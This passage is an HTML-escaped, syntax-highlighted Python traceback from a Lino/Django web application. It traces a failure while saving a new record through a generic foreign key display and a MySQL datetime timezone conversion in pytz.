  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/core/actions.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1115&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;run_from_ui&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save_new_instance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;elem&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/core/actions.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1045&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;save_new_instance&lt;/span&gt;
    &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ah&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;row2list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;elem&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/core/store.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1303&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;row2list&lt;/span&gt;
    &lt;span class="n"&gt;fld&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value2list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/core/store.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;254&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;value2list&lt;/span&gt;
    &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_value_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/core/store.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;270&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_value_text&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_text_for_value&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/utils/choosers.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;424&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_text_for_value&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/modlib/gfks/fields.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;fk_display&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_object_for_this_type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pk&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/contrib/contenttypes/models.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;175&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_object_for_this_type&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;model_class&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_base_manager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;using&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_state&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/db/models/query.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;431&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt;
    &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;clone&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/db/models/query.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;262&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__len__&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_fetch_all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/db/models/query.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1324&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_fetch_all&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_result_cache&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_iterable_class&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/db/models/query.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__iter__&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;compiler&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;results_iter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/db/models/sql/compiler.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1122&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;apply_converters&lt;/span&gt;
    &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;converter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/db/backends/mysql/operations.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;313&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;convert_datetimefield_value&lt;/span&gt;
    &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;timezone&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;make_aware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timezone&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/utils/timezone.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;239&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;make_aware&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;timezone&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;localize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;is_dst&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;is_dst&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/pytz/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;244&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;localize&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tzinfo&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/core/handlers/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;181&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_get_response&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;wrapped_callback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;callback_args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;callback_kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/views/generic/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;70&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/views/generic/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;98&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;dispatch&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino_react/react/views.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;109&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;post&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SITE&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run_action&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/core/kernel.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;797&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;run_action&lt;/span&gt;
    &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run_from_ui&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/core/actions.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1115&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;run_from_ui&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save_new_instance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;elem&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/core/actions.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1045&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;save_new_instance&lt;/span&gt;
    &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ah&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;row2list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;elem&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/core/store.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1303&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;row2list&lt;/span&gt;
    &lt;span class="n"&gt;fld&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value2list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/core/store.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;254&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;value2list&lt;/span&gt;
    &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_value_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/core/store.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;270&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_value_text&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_text_for_value&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/utils/choosers.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;424&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_text_for_value&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/modlib/gfks/fields.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;fk_display&lt;/span&gt;
